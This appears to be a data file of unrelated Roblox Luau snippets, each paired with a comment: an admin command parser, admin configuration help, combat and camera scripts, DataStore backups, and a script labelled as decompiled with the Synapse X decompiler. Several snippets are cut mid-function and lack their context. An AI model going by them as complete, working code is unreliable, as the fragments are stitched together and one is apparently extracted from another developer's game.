end
local targetPlayersTable = {}
for plr, _ in pairs(targetPlayers) do
if plr ~= individual then
table.insert(targetPlayersTable, plr)
end
end
command.Function(speaker, {targetPlayersTable, individual})
success = true
else
local plrChangeInfo = {
Ranked = {};
Unranked = {};
}
local totalPlrs = 0
for plr, _ in pairs(targetPlayers) do
totalPlrs = totalPlrs + 1
end
local plrsRemaining = 0
for plr, _ in pairs(targetPlayers) do
--Check Rig
local humanoid = main:GetModule("cf"):GetHumanoid(plr)
local rr = command.RequiresRig
if humanoid and rr and humanoid.RigType ~= rr then
local rrName = "R15"
if rr == Enum.HumanoidRigType.R6 then
rrName = "R6"
end
errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidRigType", plr.Name, rrName)
--Check if punished
elseif command.BlockWhenPunished and main:GetModule("cf"):IsPunished(plr) then
errorNotice = main:GetModule("cf"):FormatNotice("ParserPlrPunished", plr.Name)
else
local plrData = main.pd[plr]
-- Check for RankLock. If so, is plr's rank greater than speaker's?
if not command.RankLock or (plrData and speakerData.Rank > plrData.Rank) then
--Only the run command if not already running (and commandDebounce enabled)
if not commandDebounce or not main.functionsInLoop[commandDebounceName][plr] then
--Add in 'plr' argument to args
local plrArgs = {plr}
for i,v in pairs(args) do
table.insert(plrArgs, v)
end
coroutine.wrap(function()
main.functionsInLoop[commandDebounceName][plr] = 0
plrsRemaining = plrsRemaining + 1
for i = 1, loops do
------------------------------------
local other = {ExtraDetails = extraDetails, UnFunction = unFunction}
local returnInfo = main:GetModule("cf"):ExecuteCommand(speaker, plrArgs, command, other)
success = true
------------------------------------
if returnInfo == "Ranked" or returnInfo == "Unranked" then
table.insert(plrChangeInfo[returnInfo], plr)
end
wait(0.1)
local humanoid = main:GetModule("cf"):GetHumanoid(plr)
if humanoid and humanoid.Health < 1 then
plr.CharacterAdded:Wait()
wait(0.1)
end
if plr == nil or not main.functionsInLoop[commandDebounceName][plr] then
break
end
end
plrsRemaining = plrsRemaining - 1
main.functionsInLoop[commandDebounceName][plr] = nil
end)()
end
elseif totalPlrs <= 1 then
if commandName == "directban" then
commandName = "ban"
end
main:GetModule("cf"):FormatAndFireError(speaker, "ParserPlayerRankBlocked", commandName, plr.Name)
end
end
end
spawn(function()
repeat wait(0.1) until plrsRemaining == 0
if #plrChangeInfo.Ranked > 0 then
local targetRankName = main:GetModule("cf"):GetRankName(args[1])
local amount = "1 person"
if #plrChangeInfo.Ranked > 1 then
amount = #plrChangeInfo.Ranked.." people"
end
local notice = main:GetModule("cf"):FormatNotice("ParserSpeakerRank", command.Name, amount, targetRankName)
main.signals.Notice:FireClient(speaker, notice)
end
if #plrChangeInfo.Unranked > 0 then
local amount = "1 person."
if #plrChangeInfo.Unranked > 1 then
amount = #plrChangeInfo.Unranked.." people."
end
local notice = main:GetModule("cf"):FormatNotice("ParserSpeakerUnrank", amount)
end
--main.playersRanked[speaker] = nil
--main.playersUnranked[speaker] = nil
end)
end
elseif not main.functionsInLoop[commandDebounceName][speaker] or unFunction then
main.functionsInLoop[commandDebounceName][speaker] = true
-------------------------------
local other = {ExtraDetails = extraDetails, UnFunction = unFunction}
local returnInfo = main:GetModule("cf"):ExecuteCommand(speaker, args, command, other)
success = true
-------------------------------
main.functionsInLoop[commandDebounceName][speaker] = nil
end
end
end
--Speaker error message
if errorNotice then
main.signals.Error:FireClient(speaker, errorNotice)
end
end
end
return success
end
return module
|
--------LEFT DOOR -------- |
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(21) |
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config |
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end
|
--[[
* Trello Bans Help
Steps to follow:
1) Make sure HttpService is enabled, to do so, paste
"game:GetService('HttpService').HttpEnabled = true" into the command bar.
2) Make sure Trello Bans is enabled
3) Make sure the trello board is public
4) Paste the trello board ID into the Trello Board ID option
5) On the trello board, create a list called "Ban List"
6) Add bans
Note that the ban format for the name of the card is:
Shedletsky:261
-----------------------------------------------------------------------------
* Group Admin Help:
Types of admin
1 = Mod
2 = Admin
3 = Super Admin
The empty table should appear as this:
['Group Configuration'] = {
{
['Group ID'] = 0,
['Group Rank'] = 0,
['Tolerance Type'] = '>=',
['Admin Level'] = 0,
},
},
To add a group, create another table inside of the existing one;
this should look like this:
['Group Configuration'] = {
{
['Group ID'] = 0,
['Group Rank'] = 0,
['Tolerance Type'] = '>=',
['Admin Level'] = 0,
},
{
['Group ID'] = 0,
['Group Rank'] = 0,
['Tolerance Type'] = '>=',
['Admin Level'] = 0,
},
},
Now add the group id into it, followed by a comma, followed by the group rank,
- followed by the level of admin those users should receive.
An example of a finished product is:
{
['Group ID'] = 950346,
['Group Rank'] = 20,
['Tolerance Type'] = '>=',
['Admin Level'] = 2,
},
That will give people in the group id "950346", whom are at rank 20 or higher, level 2 admin,
- which is regular admin.
------------------------------------------------------------------------------
* Command Configuration Help
['Command Configuration'] = {
['fly'] = {
['Permission'] = 1,
},
},
['fly'] is the command being altered or changed.
['Permission'] is the property of the command being changed.
There are 5 levels of admin,
0 = Everyone
1 = Mod
2 = Admin
3 = Superadmin
4 = Game Creator
If you only wanted admins to fly, change
the 1 to a 2.
['Command Configuration'] = {
['fly'] = {
['Permission'] = 2,
},
['unfly'] = {
['Permission'] = 2,
},
},
--]] | |
--[[ @brief Adds an element to the heap.
@param element The element to add.
--]] |
function Heap:Insert(element)
rawset(self, #self + 1, element);
self:_HeapifyBottomUp(#self);
end
|
--[[ Script Variables ]] | --
while not Players.LocalPlayer do
task.wait()
end
local LocalPlayer = Players.LocalPlayer
local DPadFrame = nil
local TouchObject = nil
local OnInputEnded = nil -- defined in Create()
|
----- Functions |
local function startBlocking()
Status = "Blocking"
game:GetService("SoundService").SFX.Combat.ActivateBlock:Play()
local vignetteImageLabel = plr.PlayerGui.Vignette.ImageLabel
game:GetService("TweenService"):Create(vignetteImageLabel, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, 0, false, 0), {ImageTransparency = 0}):Play()
BlockingRemote:FireServer()
game.TweenService:Create(workspace.CurrentCamera, TweenInfo.new(.3, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0), {FieldOfView = 60}):Play()
hum.WalkSpeed = 7
gaurdingAnimation:Play()
end
local function stopBlocking()
Status = "nil"
game:GetService("SoundService").SFX.Combat.ActivateBlock:Play()
local vignetteImageLabel = plr.PlayerGui.Vignette.ImageLabel
game:GetService("TweenService"):Create(vignetteImageLabel, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, 0, false, 0), {ImageTransparency = 1}):Play()
debounce = true
RemoveBlocking:FireServer()
game.TweenService:Create(workspace.CurrentCamera, TweenInfo.new(.3, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0), {FieldOfView = 70}):Play()
hum.WalkSpeed = 16
gaurdingAnimation:Stop()
CooldownModule.New("Block", CD)
task.wait(CD)
debounce = false
end
UserInputService.InputBegan:Connect(function(input, isProcessed)
if isProcessed then return end
if input.KeyCode == Enum.KeyCode.F then
if not char.Values:FindFirstChild("Stunned") and not debounce then
if Status == "nil" then
startBlocking()
end
end
end
end)
UserInputService.InputEnded:Connect(function(input)
if input.KeyCode == Enum.KeyCode.F and Status == "Blocking" then
stopBlocking()
end
end)
|
--[[
Replaces the need to chain FindFirstChild. Starting at baseInstance, will navigate through tuple string arguments until there is no child to be found.
]] |
function DataModelUtils.findFirstDescendant(baseInstance, ...)
local returningChild = baseInstance
for _, childName in ipairs({...}) do
local nextChild = returningChild:FindFirstChild(childName)
if not nextChild then
return
else
returningChild = nextChild
end
end
return returningChild
end
|
--[[
berezaa's method of saving data (from the dev forum):
What I do and this might seem a little over-the-top but it's fine as long as you're not using datastores
excessively elsewhere is have a datastore and an ordereddatastore for each player. When you perform a save,
add a key (can be anything) with the value of os.time() to the ordereddatastore and save a key with the os.time()
and the value of the player's data to the regular datastore. Then, when loading data, get the highest number from
the ordered data store (most recent save) and load the data with that as a key.
Ever since I implemented this, pretty much no one has ever lost data. There's no caches to worry about either
because you're never overriding any keys. Plus, it has the added benefit of allowing you to restore lost data,
since every save doubles as a backup which can be easily found with the ordereddatastore
edit: while there's no official comment on this, many developers including myself have noticed really bad cache
times and issues with using the same datastore keys to save data across multiple places in the same game. With
this method, data is almost always instantly accessible immediately after a player teleports, making it useful
for multi-place games.
--]] |
local DataStoreService = game:GetService("DataStoreService")
local Promise = require(script.Parent.Parent.Promise)
local OrderedBackups = {}
OrderedBackups.__index = OrderedBackups
function OrderedBackups:Get()
return Promise.async(function(resolve)
resolve(self.orderedDataStore:GetSortedAsync(false, 1):GetCurrentPage()[1])
end):andThen(function(mostRecentKeyPage)
if mostRecentKeyPage then
local recentKey = mostRecentKeyPage.value
self.dataStore2:Debug("most recent key", mostRecentKeyPage)
self.mostRecentKey = recentKey
return Promise.async(function(resolve)
resolve(self.dataStore:GetAsync(recentKey))
end)
else
self.dataStore2:Debug("no recent key")
return nil
end
end)
end
function OrderedBackups:Set(value)
local key = (self.mostRecentKey or 0) + 1
return Promise.async(function(resolve)
self.dataStore:SetAsync(key, value)
resolve()
end):andThen(function()
return Promise.promisify(function()
self.orderedDataStore:SetAsync(key, key)
end)()
end):andThen(function()
self.mostRecentKey = key
end)
end
function OrderedBackups.new(dataStore2)
local dataStoreKey = dataStore2.Name .. "/" .. dataStore2.UserId
local info = {
dataStore2 = dataStore2,
dataStore = DataStoreService:GetDataStore(dataStoreKey),
orderedDataStore = DataStoreService:GetOrderedDataStore(dataStoreKey),
}
return setmetatable(info, OrderedBackups)
end
return OrderedBackups
|
-- |
script.Parent.OnServerEvent:Connect(function(p)
local Character = p.Character
local Humanoid = Character.Humanoid
local RootPart = Character.HumanoidRootPart
local Slash = RS.Effects.Part2:Clone()
script.Attack:Play()
Slash.Parent = FX
Slash.CFrame = RootPart.CFrame * CFrame.new(0,0,-3)
local BV = Instance.new("BodyVelocity",Slash)
BV.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
BV.Velocity = p.Character.HumanoidRootPart.CFrame.LookVector * 60
Slash.Touched:Connect(function(hit)
if hit.Parent:FindFirstChild("Humanoid") and hit.Parent.Name ~= p.Name then
hit.Parent.Humanoid:TakeDamage(Damage)
local HitEffect = Effects.Hit2.Attachment:Clone()
local RootPart2 = hit.Parent.HumanoidRootPart
HitEffect.Parent = RootPart2
for _,Particles in pairs(HitEffect:GetDescendants()) do
if Particles:IsA("ParticleEmitter") then
Particles:Emit(Particles:GetAttribute("EmitCount"))
end
end
HitEffect.Hit:Play()
local vel = Instance.new("BodyVelocity", RootPart2)
vel.MaxForce = Vector3.new(1,1,1) * 1000000;
vel.Parent = RootPart2
vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0
vel.Name = "SmallMoveVel"
game.Debris:AddItem(vel,1)
Slash:Destroy()
end
wait(1)
Slash.Anchored = true
for _,Particles in pairs(Slash.Part.Parent:GetDescendants()) do
if Particles:IsA("ParticleEmitter") then
Particles.Enabled = false
end
end
Slash.PointLight.Enabled = false
end)
end)
|
-- New for AllCameraInLua support |
local function shouldUseOcclusionModule()
local player = PlayersService.LocalPlayer
if player and game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CameraType == Enum.CameraType.Custom then
return true
end
return false
end
local function Update()
if EnabledCamera then
EnabledCamera:Update()
end
if EnabledOcclusion and not VRService.VREnabled then
EnabledOcclusion:Update(EnabledCamera)
end
if shouldUsePlayerScriptsCamera() then
TransparencyController:Update()
end
end
local function SetEnabledCamera(newCamera)
if EnabledCamera ~= newCamera then
if EnabledCamera then
EnabledCamera:SetEnabled(false)
end
EnabledCamera = newCamera
if EnabledCamera then
EnabledCamera:SetEnabled(true)
end
end
end
local function OnCameraMovementModeChange(newCameraMode)
if newCameraMode == Enum.DevComputerMovementMode.ClickToMove.Name then
if FFlagUserNoCameraClickToMove then
--No longer responding to ClickToMove here!
return
end
ClickToMove:Start()
SetEnabledCamera(nil)
TransparencyController:SetEnabled(true)
else
local currentCameraType = workspace.CurrentCamera and workspace.CurrentCamera.CameraType
if VRService.VREnabled and currentCameraType ~= Enum.CameraType.Scriptable then
SetEnabledCamera(VRCamera)
TransparencyController:SetEnabled(false)
elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and newCameraMode == Enum.ComputerCameraMovementMode.Classic.Name then
SetEnabledCamera(ClassicCamera)
TransparencyController:SetEnabled(true)
elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and newCameraMode == Enum.ComputerCameraMovementMode.Follow.Name then
SetEnabledCamera(FollowCamera)
TransparencyController:SetEnabled(true)
elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and (isOrbitalCameraEnabled and (newCameraMode == Enum.ComputerCameraMovementMode.Orbital.Name)) then
SetEnabledCamera(OrbitalCamera)
TransparencyController:SetEnabled(true)
elseif AllCamerasInLua and CameraTypeEnumMap[currentCameraType] then
SetEnabledCamera(CameraTypeEnumMap[currentCameraType])
TransparencyController:SetEnabled(false)
else -- Our camera movement code was disabled by the developer
SetEnabledCamera(nil)
TransparencyController:SetEnabled(false)
end
ClickToMove:Stop()
end
local useOcclusion = shouldUseOcclusionModule()
local newOcclusionMode = getCameraOcclusionMode()
if EnabledOcclusion == Invisicam and (newOcclusionMode ~= Enum.DevCameraOcclusionMode.Invisicam or (not useOcclusion)) then
Invisicam:Cleanup()
end
-- PopperCam does not work with OrbitalCamera, as OrbitalCamera's distance can be fixed.
if useOcclusion then
if newOcclusionMode == Enum.DevCameraOcclusionMode.Zoom and ( isOrbitalCameraEnabled and newCameraMode ~= Enum.ComputerCameraMovementMode.Orbital.Name ) then
EnabledOcclusion = PopperCam
elseif newOcclusionMode == Enum.DevCameraOcclusionMode.Invisicam then
EnabledOcclusion = Invisicam
else
EnabledOcclusion = nil
end
else
EnabledOcclusion = nil
end
end
local function OnCameraTypeChanged(newCameraType)
if newCameraType == Enum.CameraType.Scriptable then
if UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
end
local function OnCameraSubjectChanged(newSubject)
TransparencyController:SetSubject(newSubject)
end
local function OnNewCamera()
OnCameraMovementModeChange(getCurrentCameraMode())
local currentCamera = workspace.CurrentCamera
if currentCamera then
if cameraSubjectChangedConn then
cameraSubjectChangedConn:disconnect()
end
if cameraTypeChangedConn then
cameraTypeChangedConn:disconnect()
end
cameraSubjectChangedConn = currentCamera:GetPropertyChangedSignal("CameraSubject"):connect(function()
OnCameraSubjectChanged(currentCamera.CameraSubject)
end)
cameraTypeChangedConn = currentCamera:GetPropertyChangedSignal("CameraType"):connect(function()
OnCameraMovementModeChange(getCurrentCameraMode())
OnCameraTypeChanged(currentCamera.CameraType)
end)
OnCameraSubjectChanged(currentCamera.CameraSubject)
OnCameraTypeChanged(currentCamera.CameraType)
end
end
local function OnPlayerAdded(player)
workspace.Changed:connect(function(prop)
if prop == 'CurrentCamera' then
OnNewCamera()
end
end)
player.Changed:connect(function(prop)
OnCameraMovementModeChange(getCurrentCameraMode())
end)
GameSettings.Changed:connect(function(prop)
OnCameraMovementModeChange(getCurrentCameraMode())
end)
RunService:BindToRenderStep("cameraRenderUpdate", Enum.RenderPriority.Camera.Value, Update)
OnNewCamera()
OnCameraMovementModeChange(getCurrentCameraMode())
end
do
while PlayersService.LocalPlayer == nil do PlayersService.PlayerAdded:wait() end
hasLastInput = pcall(function()
lastInputType = UserInputService:GetLastInputType()
UserInputService.LastInputTypeChanged:connect(function(newLastInputType)
lastInputType = newLastInputType
end)
end)
OnPlayerAdded(PlayersService.LocalPlayer)
end
local function OnVREnabled()
OnCameraMovementModeChange(getCurrentCameraMode())
end
VRService:GetPropertyChangedSignal("VREnabled"):connect(OnVREnabled)
|
-- Decompiled with the Synapse X Luau decompiler. |
return {
run = function(p1)
local l__Shopkeeper__1 = p1.Shopkeeper;
local v2 = {};
for v3 = 1, 4 do
local v4 = "Tentacle" .. v3;
local v5 = v2[v4];
local v6 = l__Shopkeeper__1:FindFirstChild(v4);
local v7 = {};
for v8, v9 in pairs({ { "Bone", "TentacleBase" .. v3 }, { "Bone.001", "T" .. v3 .. "_P1" }, { "Bone.002", "T" .. v3 .. "_P2" }, { "Bone.003", "T" .. v3 .. "_P3" }, { "Bone.004", "T" .. v3 .. "_P4" }, { "Bone.005", "T" .. v3 .. "_P5" }, { "Bone.006", "T" .. v3 .. "_P6" }, { "Bone.007", "T" .. v3 .. "_P7" }, { "Bone.008", "T" .. v3 .. "_P8" }, { "Bone.009", "T" .. v3 .. "_P9" } }) do
table.insert(v7, { v6:FindFirstChild(v9[1], true), v6:FindFirstChild(v9[2], true) });
end;
v2[v4] = v7;
end;
coroutine.wrap(function()
for v10 = 1, 10000000000 do
for v11 = 1, 4 do
local v12 = v2["Tentacle" .. v11];
for v13 = 1, 10 do
local v14 = v12[v13];
v14[1].WorldCFrame = v14[2].CFrame;
end;
end;
game["Run Service"].Heartbeat:wait();
end;
end)();
end
};
|